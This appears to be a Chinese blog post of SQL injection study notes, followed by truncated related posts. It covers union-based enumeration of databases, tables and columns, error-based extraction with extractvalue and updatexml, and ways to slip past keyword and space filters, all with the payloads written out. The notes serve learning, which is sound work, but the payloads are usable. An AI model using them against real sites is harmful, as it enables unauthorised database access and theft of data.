sql注入總結

2021-09-27 16:44:08 字數 2185 閱讀 8168

第一天

url 統一資源定位符 協議 主機號 目錄

–+ 注釋符 %20 代表空格

order by 15 --+ 閉合條件為 『

猜測列數

union all select 1,2,3 --+ 猜測顯示位

select schema_name from information_schema.schemata ; 查庫名

select table_name from information_schema.tables where schema_name=』security』;知道庫名輸入該庫的所有表名

select column_name from information_schema.columns where table_name=』users』 and table_schema=』security』;知道庫名,表名的情況下查詢庫下該錶的列名

select username from security.users;

第二天報錯型sql注入,適合沒有資料查詢但是有mysql報錯輸出的場景

當sql注入報錯型sql注入,適合沒有資料查詢但是有mysql報錯輸出的場景

當sql注入時,報錯時,錯誤語句也會丟擲一部份正確的資訊。

concat_wa函式

分隔符 0x3a

注入時,先找閉合。

第三天一 。 注入 『 時 可以判斷是整形注入還是字串注入

在資料庫中 1=1 和1=2 後面隨便輸入字串(相當於1=1和1=2後面的查詢語句),發現select 1="1dasd"時返回1正確,1="2dasd"時返回0錯誤,即select在查詢時忽略後面的字串,只讓1和後面第乙個數字對比,如果相等就是正確,不相等返回錯誤。

二、判斷查詢列數

order by 函式是對mysql中查詢結果按照指定欄位名進行排序,除了指定字 段名還可以指定欄位的字段進行排序,第乙個查詢欄位為1,第二個為2,依次 類推。我們可以通過二分法來猜解列數

輸入 order by 4%23 發現頁面錯誤,說明沒有4列

輸入3列時,頁面正常,說明有3列

三 聯合查詢注入利用的前提

聯合注入 必須前面條件是錯的,才可以顯示後面的結果

前提條件:頁面上有顯示位

什麼是顯示位?

在乙個在乙個**的正常頁面,服務端執行sql語句查詢資料庫中的資料,客戶端將數 據展示在頁面中,這個展示資料的位置就叫顯示位

四列出所有的資料庫名

union all select 1,(select group_concat(schema_name) from information_schema.schemata

列出所有的表名

union all select 1,(select group_concat(table_name) from information_schema.tables where table_schema=『security』)

部分函式作用

concat_ws函式作用

select concat_ws(』-』,『aa』,『bb』,『cc』)

aa-bb-cc

concat 函式作用

select concat(『aa』,『bb』,『cc』)

aabbcc

group_concat 函式作用

將資料全都輸出

extracvalue 函式

updataxml函式

extractvalue(1,concat(0x5c,database()))

updatexml(1,concat(0x3a,database()),1)

第四天注入順序:

先找注入點;

再確定互動方式;

再找閉合;

cookie 注入

過濾型注入

如果 and 和 or被過濾 可以

複寫 aandnd oorr 替換 and 等於&& or 等於 || 大小寫混合 and or

如果空格被過濾 可以

轉碼 %0a %0b %0c tab鍵

like 可以替換=

過濾的判斷

單引號被過濾 如 『security』

用hex編碼 將資料編碼

若為get型 在url中輸入 id=and1 如果輸出結果和id=1 並沒有區別,可以判斷伺服器過濾了and字元

SQL注入總結

在大部分語言中都一樣是注釋。這個之中的語句是不被執行的。但mysql中 為了保持相容,比如從mysqldump 匯出的sql語句能被其它資料庫直接使用,它把一些特有的僅在mysql上的語句放在 中,這樣這些語句如果在其他資料庫中是不會被執行,但在mysql中它會執行。僅當mysql的版本等於或高於指...

sql注入總結

資料庫支援,並採用gbk格式進行編碼 在獲取url資料時,使用addslashes或是其他方式對單引號 進行了轉義,使其變成了 php的get post等方法預設都會進行此操作 上面的兩個條件缺一不可,gbk編碼不太好確定,但是第二個比較好確認,例如輸入的url為?id 1 返回了?id 1 當遇到...

Sql注入總結

1 利用閉合變數報錯測試注入點,id 1 這樣說明存在單引號閉合注入 2 是否存在注入點,用and語句測試 id 1 and 1 2 id 1 and 1 1 3 猜測字段 id 1 order by 3 23 4 找到頁面中資料輸入點 id 1 union select 1,2,3 23 5 查資...